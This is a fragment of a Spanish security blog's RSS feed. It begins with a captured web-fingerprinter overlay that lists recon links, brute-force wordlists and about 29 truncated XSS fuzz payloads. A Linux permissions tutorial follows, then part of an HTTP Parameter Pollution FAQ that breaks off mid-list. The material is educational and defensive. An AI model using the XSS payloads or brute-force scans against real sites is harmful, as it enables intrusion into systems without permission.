<h3 style="color:yellow!important;"><span style="text-align:center;">YEHG.Net Greasemonkey Web Page Fingerprinter</span> <span style="color:yellow!important;text-decoration:none;cursor:pointer;">[x]</span></h3>
<p><strong>[URL]</strong></p>
<p>https://arrivalsec.wordpress.com/wp-admin/post.php?action=edit&#038;post=217</p>
<p><strong>[Headers]</strong></p>
<p>Server: <a title="Find its vulnerabilities in Google" href="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=nginx vulnerabilities" target="_blank">nginx</a></p>
<pre style="font-family:arial;">Date: Sat, 06 Jun 2009 20:30:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://arrivalsec.wordpress.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sat, 06 Jun 2009 20:30:21 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache</pre>
<p>Content-length: <span style="font-weight:bold;color:#aaffaa;">68875</span><br />
Cookie: __qca=1244296460-19778041-72768616; __qcb=731321083; wordpress_test_cookie=WP+Cookie+check; wp-settings-5238014=hidetb%3D1%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-5238014=1244320188<br />
=&gt; <span style="cursor:pointer;color:yellow!important;" title="Edit cookies">Edit Cookie</span></p>
<p><strong>[RECON]</strong></p>
<p>&#8212;Lookup&#8212;WebhostinfoDNSStuffRobtexDNSNetwork DNSRecordsDomainToolsSamSpadeHost2IPNetcraft WhatSiteNetcraft SiteReportNetwork TracertNetwork LookupNetwork WhoisBetterwhoisNetwork ExpressPortScan1PortScan2FlashPortScanMX ProfileMX LookupMX RecordsdirIndexingcache:link:site:emailfile:pdffile:xlsfile:xmlfile:docfile:pptfile:txtfile:rtffile:conffile:configfile:inifile:lstfile:zipfile:gzipfile:emlfile:psfile:exefile:rpmfile:dbfile:mdbfile:logfile:passwdfile:pwd [<span style="cursor:pointer;color:yellow!important;text-decoration:underline;">Launch all</span>]   [<span style="cursor:pointer;color:yellow!important;text-decoration:underline;">Prepend Proxy</span>]</p>
<p><strong>[BruteForce Scan]</strong></p>
<p>&#8211; Select &#8212;Dic-SmallDic-ComprehensiveBigCatalaCommonEuskeraMediumPasslistSpanishSubdomainsUserlistWeak_passwords_module_passlistWeak_passwords_module_userlistCommon_passNamesApacheCgiCgisColdfusionDominoFatwireFatwire_pagenamesFrontpageIisIplanetJrunNetwareOracle9iSharepointSunasTestsTomcatVignetteWeblogicWebsphereo-iiso-cfmo-jsp [<span style="color:yellow!important;cursor:pointer;" title="Choose file and start scanning!">Start</span>]  [<span style="color:yellow!important;cursor:pointer;" title="Choose file and start scanning!">View</span>]</p>
<div id="brute_force_loading_img" style="display:none;">Loading &#8230;</p>
<p>Do other stuffs.<br />
Seem slowly? As it doesn&#8217;t do multi-requests,<br />
it&#8217;s likely that web server IDS may not detect scanning.<br />
But it&#8217;s for dictionary scanning only.</p></div>
<p><strong>[Fuzz URL]</strong></p>
<p>https://arrivalsec.wordpress.com/wp-admin/post.php?action=edit&#038;post=217</p>
<p>Select Fuzz Type: Fuzz [default]BackupFilesHeaderCheckCSRFCS Framing   [<span style="cursor:pointer;color:yellow!important;">Help</span>]</p>
<p>Fuzz Options Fuzz Db: &#8212; Check &#8211;1) &#8212;!&gt;&lt;!&#8211;&#8221;&gt;xxx&lt;P&gt;yyy..2) &#8220;&gt;&lt;script&gt;&#8221;..3) &lt;script&gt;..&lt;/script&amp;gt..4) &lt;&lt;script&gt;..;//&lt;&amp;lt..5) &lt;script&gt;..&lt;/script&amp;gt..6) &#8216;&gt;&lt;script&gt;..&lt;..7) &#8220;&gt;&lt;script&gt;..;&lt;/script&amp;gt..8) \&#8221;;..;//..9) %3cscript%3e..;%3c/script%3e..10) %3cscript%3e..;%3c%2fscript%3e..11) %3Cscript%3E..;%3C/script%3E..12) &amp;ltscript&amp;gt..;&lt;/sc..13) &amp;ltscript&amp;gt..;&amp;lt..14) &lt;xss&gt;&lt;script&gt;alert(&#8216;XSS&#8217;)&amp;lt..15) &lt;IMG%20SRC=&#8217;javascript:..16) &lt;IMG SRC=&#8221;javascript:alert(&#8216;XSS&#8217;..17) &lt;IMG SRC=&#8221;javascript:alert(&#8216;XSS&#8217;..18) &lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;..19) &lt;IMG SRC=JaVaScRiPt:alert(&#8216;XSS&#8217;)&gt;..20) &lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quo..21) &lt;IMG SRC=`javascript:alert(&#8220;&#8216;XSS&#8217;..22) &lt;IMG &#8220;&#8221;"&gt;&lt;SCRIPT&gt;alert(..23) &lt;IMG SRC=javascript:alert(String.fromCharCode(8..24) &lt;IMG%20SRC=&#8217;javasc	ript:..25) &lt;IMG SRC=&#8221;jav	ascript:alert(&#8216;XSS&#8217;..26) &lt;IMG SRC=&#8221;jav	ascript:alert(&#8216;..27) &lt;IMG SRC=&#8221;jav ascript:alert(&#8216;..28) &lt;IMG SRC=&#8221;jav ascript:alert(&#8216;..29) &lt;IMG SRC=&#8221; &amp;#14;  javascript:alert(</p></div>
<br />Posted in Networking Tagged: ataque, criptografía, información, man in the middle, mitm, Networking, teoría <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/217/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=217&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/06/13/man-in-the-middle-attacks-i-teoria-e-introduccion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e05078b8b5523e0c5cb86fd19990e329?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">eudax</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/05/main_the_middle.jpg" medium="image">
			<media:title type="html">Main_the_middle</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/06/eavesdropping.jpg" medium="image">
			<media:title type="html">Eavesdropping</media:title>
		</media:content>
	</item>
		<item>
		<title>Basic permissions in Linux</title>
		<link>http://arrivalsec.wordpress.com/2009/06/07/basic-permissions-in-linux/</link>
		<comments>http://arrivalsec.wordpress.com/2009/06/07/basic-permissions-in-linux/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 02:34:50 +0000</pubDate>
		<dc:creator>Raúl</dc:creator>
				<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Administracion]]></category>
		<category><![CDATA[basic]]></category>
		<category><![CDATA[básicos]]></category>
		<category><![CDATA[guia]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[permisos]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[sistema]]></category>
		<category><![CDATA[Sistemas]]></category>
		<category><![CDATA[SysAdmin]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=224</guid>
		<description><![CDATA[Introducción Los permisos asociados a ficheros y directorios, son una de las medidas de seguridad básicas en los sistemas. Generalmente, el usuario propietario será la persona que ha creado el fichero, pero ésta puede ser alterada después de su creación. Existen tres tipos básicos de permisos, que son de: Lectura: permite a los usuarios leer [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=224&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h3><strong>Introducción</strong></h3>
<p>Los permisos asociados a ficheros y directorios, son una de las medidas de seguridad básicas en los sistemas. Generalmente, el usuario propietario será la persona que ha creado el fichero, pero ésta puede ser alterada después de su creación. Existen tres tipos básicos de permisos, que son de:</p>
<ul>
<li><strong>Lectura: </strong>permite a los usuarios leer el archivo especificado.</li>
<li><strong>Escritura: </strong>permite a los usuarios modificar el archivo especificado.</li>
<li><strong>Ejecución: </strong>permite a los usuarios ejecutar el archivo especificado.</li>
</ul>
<p>Cuando se asignan estos permisos, Linux guarda un registro de los mismos que posteriormente aparece reflejado en la lista de archivos, con lo cual, se crea un estado que se expresa mediante marcas:</p>
<ul>
<li><strong>r (<span style="color:#38A635;">r</span>ead): </strong>acceso de lectura.</li>
<li><strong>w (<span style="color:#8D3534;">w</span>rite): </strong>acceso de escritura.</li>
<li><strong>x (e<span style="color:#1C1C76;">x</span>ecute): </strong>acceso de ejecución.</li>
</ul>
<p>Dichas marcas, pueden ser visibles con un formato largo mediante el comando, <code><strong>ls <span style="color:blue;">-l</span></strong></code>. Ésta es una salida típica:<br />
<code><br />
drwxr-xr-x 2 Pepe Pepe 4096 jun  6 12:50 lg<br />
-rwxrwxr-x 1 Pepe Pepe    0 jun  6 12:49 kgl.py<br />
drwxr-xr-x 2 Pepe Pepe 4096 jun  6 12:50 scripts</code></p>
<div id="attachment_54" class="wp-caption aligncenter" style="width: 288px"><img class="alignnone size-full wp-image-76" title="Chmod Bits" src="http://arrivalsec.files.wordpress.com/2009/06/chmod-bits.jpg?w=645" alt="Chmod Bits"   /><p class="wp-caption-text">FIGURA 1.1: Propiedades de la tabla de permisos</p></div>
<p>Como podemos observar en la Figura 1.1, el primer carácter especifica el tipo de recurso. En este campo existen varios:<span id="more-224"></span></p>
<ul>
<li><strong><span style="color:#e0c919;">-</span></strong> representa un archivo.</li>
<li><strong><span style="color:#e0c919;">b</span></strong> representa un archivo de bloques especial.</li>
<li><strong><span style="color:#e0c919;">c</span></strong> representa un archivo de caracteres especiales.</li>
<li><strong><span style="color:#e0c919;">d</span></strong> representa un directorio.</li>
<li><strong><span style="color:#e0c919;">l</span></strong> representa un enlace simbólico</li>
</ul>
<p>Finalmente, los nueve caracteres restantes se dividen en tres grupos:</p>
<ul>
<li><strong>Los permisos del propietario:</strong> estos permisos muestran el acceso del propietario del archivo</li>
<li><strong>Permisos de grupo:</strong> estos permisos muestran el acceso del grupo al archivo.</li>
<li><strong>Permisos mundiales:</strong> estos permisos muestran los derechos que tiene el resto del mundo a acceder a este archivo (si tiene alguno).</li>
</ul>
<p>Vamos a aplicar esto al <em>script</em> en Python de Pepe. Como podemos observar, este recurso es un archivo.</p>
<p><code><span style="color:#e0c919;"><strong>-</strong></span><span style="color:#b327bb;"><strong>rwx</strong></span>rwxr-x 1 Pepe Pepe    0 jun  6 12:49 kgl.py</code></p>
<p>Por consiguiente, Pepe (el propietario del archivo) tiene todos los derechos de acceso en él, con lo cual puede leer, escribir y ejecutar el archivo.</p>
<p><code><span style="color:#e0c919;"><strong>-</strong></span>rwx<span style="color:#b327bb;"><strong>rwx</strong></span>r-x 1 Pepe Pepe    0 jun  6 12:49 kgl.py</code></p>
<p>De igual modo, los usuarios del grupo (del grupo <em>Pepe</em>) también pueden leerlo, escribirlo y ejecutarlo.</p>
<p><code><span style="color:#e0c919;"><strong>-</strong></span>rwxrwx<span style="color:#b327bb;"><strong>r-x</strong></span> 1 Pepe Pepe    0 jun  6 12:49 kgl.py</code></p>
<p>Y finalmente, aquellos que no sean <em>Pepe</em> y que no pertenezcan a su grupo, tienen derecho a leer y ejecutar el archivo, pero en cambio, no pueden escribir en él.</p>
<p>En resumen:</p>
<ul>
<li>El primer carácter representa normalmente si es un archivo (<span style="color:#e0c919;"><strong>-</strong></span>) o un directorio (<span style="color:#e0c919;"><strong>d</strong></span>).</li>
<li>El primer conjunto de los tres caracteres indica los privilegios del usuario.</li>
<li>El siguiente conjunto, los privilegios del grupo.</li>
<li>Y finalmente, el último conjunto indica los privilegios del resto de usuarios.</li>
</ul>
<h3><strong>chmod: cambiar los permisos de los archivos</strong></h3>
<p>Para definir los permisos a un usuario concreto sobre un archivo o un directorio, se utiliza el comando <strong>chmod</strong>. Existen tres tipos de <strong>operadores</strong>:</p>
<ul>
<li>El operador <strong>-</strong> quita los permisos.</li>
<li>El operador <strong>+</strong> agrega permisos.</li>
<li>El operador <strong>=</strong> asigna permisos.</li>
</ul>
<p>Veámos un claro resumen de como podemos quitar, agregar o asignar estos operadores.</p>
<ul>
<li><strong><span style="color:#38a635;">r</span></strong>: Éste carácter añade o quita el permiso de lectura. <em>Ejemplo:</em> <strong>chmod +<span style="color:#38a635;">r</span></strong> <em>nombre de archivo</em></li>
<li><strong><span style="color:#8d3534;">w</span></strong>: Éste carácter añade o quita el permiso de escritura. <em>Ejemplo:</em> <strong>chmod -<span style="color:#8d3534;">w</span></strong> <em>nombre de archivo</em></li>
<li><strong><span style="color:#1c1c76;">x</span></strong>: Éste carácter añade o quita el permiso de ejecución. <em>Ejemplo:</em> <strong>chmod +<span style="color:#1c1c76;">x</span></strong> <em>nombre de archivo</em></li>
</ul>
<p>Un método consiste en añadir letras (r, w, x) para asignar permisos a archivos individuales o directorios. Otro es utilizar el sistema octal, con el cual se pueden añadir valores octales y que veremos en el siguiente apartado.</p>
<h3><strong>Sistema octal</strong></h3>
<p><em>El sistema octal, es un sistema numérico en <a href="http://es.wikipedia.org/wiki/Base_8" target="_blank">base 8</a> que utiliza los dígitos de 0 a 7.</em></p>
<p>La siguiente tabla resume el esquema octal y lo que representa cada número, aunque seguidamente lo veremos con más detalle.</p>
<div id="attachment_54" class="wp-caption aligncenter" style="width: 422px"><img class="alignnone size-full wp-image-124" title="Sistema octal" src="http://arrivalsec.files.wordpress.com/2009/06/octal.png?w=645" alt="Sistema octal"   /><p class="wp-caption-text">FIGURA 1.2: Valores octales</p></div>
<ul>
<li><strong>0000</strong>: Equivale a <code><strong><span style="color:#b327bb;">---</span></strong></code> por lo que no tenemos ningún permiso.</li>
<li><strong>0001</strong>: Equivale a <code><strong><span style="color:#b327bb;">--x</span></strong></code> por lo que el <strong>propietario</strong> tiene permisos de ejecución.</li>
<li><strong>0002</strong>: Equivale a <code><strong><span style="color:#b327bb;">-w-</span></strong></code> por lo que el <strong>propietario</strong> tiene permisos de escritura.</li>
<li><strong>0004</strong>: Equivale a <code><strong><span style="color:#b327bb;">r--</span></strong></code> por lo que el <strong>propietario</strong> tiene permisos de lectura.</li>
<li><strong>0010</strong>: Equivale a <code><strong><span style="color:#b327bb;">--x</span></strong></code> por lo que X <strong>grupo</strong> tiene permisos de ejecución.</li>
<li><strong>0020</strong>: Equivale a <code><strong><span style="color:#b327bb;">-w-</span></strong></code> por lo que X <strong>grupo</strong> tiene permisos de escritura.</li>
<li><strong>0040</strong>: Equivale a <code><strong><span style="color:#b327bb;">r--</span></strong></code> por lo que X <strong>grupo</strong> tiene permisos de lectura.</li>
<li><strong>0100</strong>: Equivale a <code><strong><span style="color:#b327bb;">--x</span></strong></code> por lo que <strong>otros</strong> tienen permisos de ejecución.</li>
<li><strong>0200</strong>: Equivale a <code><strong><span style="color:#b327bb;">-w-</span></strong></code> por lo que <strong>otros</strong> tienen permisos de escritura.</li>
<li><strong>0400</strong>: Equivale a <code><strong><span style="color:#b327bb;">r--</span></strong></code> por lo que <strong>otros</strong> tienen permisos de lectura.</li>
<li><strong>1000</strong>: Éste modo denominado <a href="http://es.wikipedia.org/wiki/Sticky_bit">Sticky bit</a>, es aplicado a directorios importantes (como <strong>/tmp</strong>) con privilegios especiales. El bit asignado a un directorio sólo puede ser renombrado o borrado por el propietario del elemento del directorio o root aunque el resto tenga permisos de escritura. Además, éstos se indentifican mediante una <strong><span style="color:#e0c919;">t</span></strong> en la última posición de la propiedad de permisos. <em>Ejemplo:</em> <code><strong>drwxrwxrw<span style="color:#e0c919;">t</span><strong> 13 root root  4096 jun  6 22:44 tmp</strong></strong></code></li>
<li><strong>2000</strong>: Éste modo denominado bit <strong>SETGID</strong> (Set Group ID) está orientado a facilitar el trabajo en grupo cuando varios usuarios deben de acceder a una colección común de ficheros y directorios. Se representan mediante la letra <strong><span style="color:#e0c919;">S</span></strong>. Por ejemplo, <code><strong>drwxrw<span style="color:#e0c919;">s</span>--- 2 Pepe profesorado 4096 jun  3 22:12 Documentos</strong></code> el propietario del directorio y los miembros del grupo <em>profesorado</em> pueden acceder a este directorio. Los usuarios que no sean miembros de este grupo se “asignan” al mismo, con lo cual <strong><span style="color:red;">puede suponer un riesgo de seguridad si se definiera el valor <em>root</em> SUID en un programa.</span></strong></li>
<li><strong>4000</strong>: Finalmente, éste modo denominado bit <strong>SETUID</strong> (Set User ID) es un atributo de archivo especial que indica al sistema que debe ejecutar los programas marcados con un ID de usuario en concreto. Por ejemplo, el programa <strong><a href="http://linux.about.com/library/cmd/blcmdl8_vipw.htm">vipw</a></strong> normalmente necesita permisos de usuario <strong>root</strong> para acceder a <strong>/etc/passwd</strong>, por tanto un usuario normal no podría cambiar dicho archivo, ya que sería demasiado peligroso otorgar a todos los usuarios acceso directo a él.</li>
</ul>
<p><strong>NOTA:</strong> Si los atacantes pueden explotar las debilidades de los programas <em>root</em> de SUID, potencialmente pueden obtener privilegios de root.<br />
Los archivos de bit SUID y SGID pueden ser buscados de la siguiente forma: <strong><code>find / \( -perm -4000 -o -perm 2000 \) -ls &gt; archivos_con_suid_sgid.txt</code></strong> con lo que nos hará un listado en un archivo de texto que posteriormente podemos analizar para otorgar los permisos adecuados para así, obtener un sistema mucho más seguro.</p>
<p>Finalmente, podemos facilitar las cosas reduciendo rápidamente los permisos del propietario, de grupos y otros usuarios a un número de tres dígitos utilizando los siguientes valores:</p>
<ul>
<li><strong>0</strong>: Sin permisos.</li>
<li><strong>1</strong>: Ejecución.</li>
<li><strong>2</strong>: Escritura</li>
<li><strong>3</strong>: Escritura y ejecución (actualmente no se utiliza mucho).</li>
<li><strong>4</strong>: Lectura.</li>
<li><strong>5</strong>: Lectura y ejecución.</li>
<li><strong>6</strong>: Lectura y escritura.</li>
<li><strong>7</strong>: Todo el conjunto: lectura, escritura y ejecución.</li>
</ul>
<p>Veámos un caso práctico:</p>
<p><code>[cloti@ ~]$ <strong>pwd; cd /home/pepe/</strong><br />
/home/cloti<br />
bash: cd: /home/pepe/:<strong> <span style="color:red;">Permiso denegado</span></strong></code><br />
<code><br />
[pepe@ ~]$<strong> chmod <span style="color:#b327bb;">7</span><span style="color:#38a635;">5</span><span style="color:#1c1c76;">5</span> /home/pepe/; ls -l</strong> <strong>/home</strong><br />
<strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span></strong>------  4 cloti <strong>secretaria</strong> 4096 jun  7 01:45 cloti<br />
<strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span></strong>------  4 juan  <strong>profesorado</strong> 4096 jun  7 01:45 juan<br />
<strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span></strong> 4 pepe  <strong>profesorado</strong> 4096 jun  7 01:41 pepe<br />
</code></p>
<p><code>[cloti@ ~]$ <strong>cd /home/pepe/; ls -l</strong><br />
-</code><code><strong><span style="color:#38a635;">r</span></strong></code><strong><span style="color:#8D3534;">w</span></strong><code>-</code><code><strong><span style="color:#38a635;">r</span></strong></code><code>--</code><code><strong><span style="color:#38a635;">r</span></strong></code><code>-- 1 pepe <strong>profesorado</strong> 548 jun  7 02:20 Álgebras.doc<br />
<strong> </strong></code><code><strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span></strong></code><code><strong> </strong> 2 pepe <strong>profesorado</strong> 4096 jun  7 02:19 Exámenes<br />
<strong> </strong></code><code><strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span></strong></code><code><strong> </strong> 2 pepe <strong>profesorado</strong> 4096 jun  7 02:20 Física<br />
<strong> </strong></code><code><strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span></strong></code><code><strong> </strong> 2 pepe <strong>profesorado</strong> 4096 jun  7 02:20 Matemáticas<br />
<strong> </strong></code><code><strong><span style="color:#e0c919;">d</span><span style="color:#b327bb;">rwx</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span><span style="color:#38a635;">r</span></strong>-<strong><span style="color:#1c1c76;">x</span></strong></code><code><strong> </strong><strong> </strong> 2 pepe <strong>profesorado</strong> 4096 jun  7 02:20 Prueba de acceso<br />
-</code><code><strong><span style="color:#38a635;">r</span></strong></code><strong><span style="color:#8D3534;">w</span></strong><code>-</code><code><strong><span style="color:#38a635;">r</span></strong></code><code>--</code><code><strong><span style="color:#38a635;">r</span></strong></code><code>-- 1 pepe <strong>profesorado</strong> 897 jun  7 02:20 Tema 4 Funciones.docx<br />
</code></p>
<p>Primeramente, podemos observar como el usuario <em>cloti</em> intenta acceder a la carpeta <em>pepe </em> (<strong>/home/pepe</strong>), la cual le deniega el acceso. Seguidamente, nuestro protagonista Pepe ha decidido darle permisos de lectura y ejecución a Cloti, que posteriormente ha podido acceder igual que podría hacerlo Juan siendo éste de su mismo grupo.</p>
<br />Posted in Hardening Tagged: Administracion, basic, básicos, guia, Hardening, Linux, permisos, permissions, security, seguridad, sistema, Sistemas, SysAdmin <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/224/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=224&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/06/07/basic-permissions-in-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/687432d93052b771697e99c4a4c01931?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Raúl M.</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/06/chmod-bits.jpg" medium="image">
			<media:title type="html">Chmod Bits</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/06/octal.png" medium="image">
			<media:title type="html">Sistema octal</media:title>
		</media:content>
	</item>
		<item>
		<title>HTTP Parameter Pollution FAQ</title>
		<link>http://arrivalsec.wordpress.com/2009/05/25/http-parameter-pollution-faq/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/25/http-parameter-pollution-faq/#comments</comments>
		<pubDate>Mon, 25 May 2009 14:24:55 +0000</pubDate>
		<dc:creator>eudax</dc:creator>
				<category><![CDATA[Web App Security]]></category>
		<category><![CDATA[app web sec]]></category>
		<category><![CDATA[faq]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[parameter]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=212</guid>
		<description><![CDATA[El HTTP Parameter Pollution es una vulnerabilidad bastante nueva que se ha extendido rápidamente, a raíz de una conferencia de OWASP (OWASP AppSec Poland 2009), a cargo de Stefano Di Paola y Luca Carettoni. En Security by Default han hecho un artículo con una explicación bastante clara de esta técnica, que a grandes rasgos, se [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=212&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>El <a href="http://www.securityfocus.com/archive/107/503709/30/0/threaded">HTTP Parameter Pollution</a> es una vulnerabilidad bastante nueva que se ha extendido rápidamente, a raíz de una conferencia de OWASP (OWASP AppSec Poland 2009), a cargo de Stefano Di Paola y Luca Carettoni. En <a href="http://www.securitybydefault.com/">Security by Default</a> han hecho un artículo con una explicación bastante clara de esta técnica, que a grandes rasgos, se basa en una manipulación de variables en una aplicación web. Hace nada, en <a href="http://www.wisec.it/">Wisec</a>, web de Stefano, han publicado un interesante FAQ que aclara el alcance y la peligrosidad del ataque:</p>
<p><span style="color:#ff0000;"><strong>Q: Is this a new class of exploits or just another case of applications lacking input validation?</strong></span><br />
<strong>A:</strong> Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.<br />
In this specific case, query string delimiters are the &#8220;dangerous&#8221; characters.</p>
<p><span style="color:#ff0000;"><strong>Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?</strong></span><br />
<strong>A:</strong> Yes, sure. However, considering the granularity available, we don&#8217;t think it is really so interesting.<br />
<strong><br />
<span style="color:#ff0000;">Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.</span></strong><br />
<strong>A:</strong> Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by &#8216;hard-core&#8217; attackers, it&#8217;s very important to formalize a threat in order to mitigate the issue and create efficient workarounds.<br />
The aim of the entire research is to raise awareness around this problem.<br />
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.<br />
We strongly believe that  sharing such knowledge may increase the security of all web applications.</p>
<p><span style="color:#ff0000;"><strong>Q: Most of your examples and findings use GET parameters. What about POST?</strong></span><br />
<strong>A:</strong> POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.<br />
<strong><br />
<span style="color:#ff0000;">Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?</span></strong><br />
<strong>A:</strong> No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn&#8217;t double check the latest one. We are sorry for this misunderstanding.</p>
<p><span style="color:#ff0000;"><strong>Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?</strong></span><br />
<strong>A:</strong> Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.<br />
After all, that&#8217;s why it is possible to abuse the query string delimiters injection flaw.</p>
<p><span style="color:#ff0000;"><strong>Q: Is Yahoo! Mail still vulnerable to HPP?</strong></span><br />
<strong>A:</strong> Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.</p>
<p><span style="color:#ff0000;"><strong>Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?</strong></span><br />
<strong>A:</strong> I&#8217;ve just published  here an in-depth review of the issue with the video PoC as well.</p>
<p><span style="color:#ff0000;"><strong>Q: What&#8217;s the right way of managing multiple occurrences? Is there a &#8216;perfect&#8217; framework?</strong></span><br />
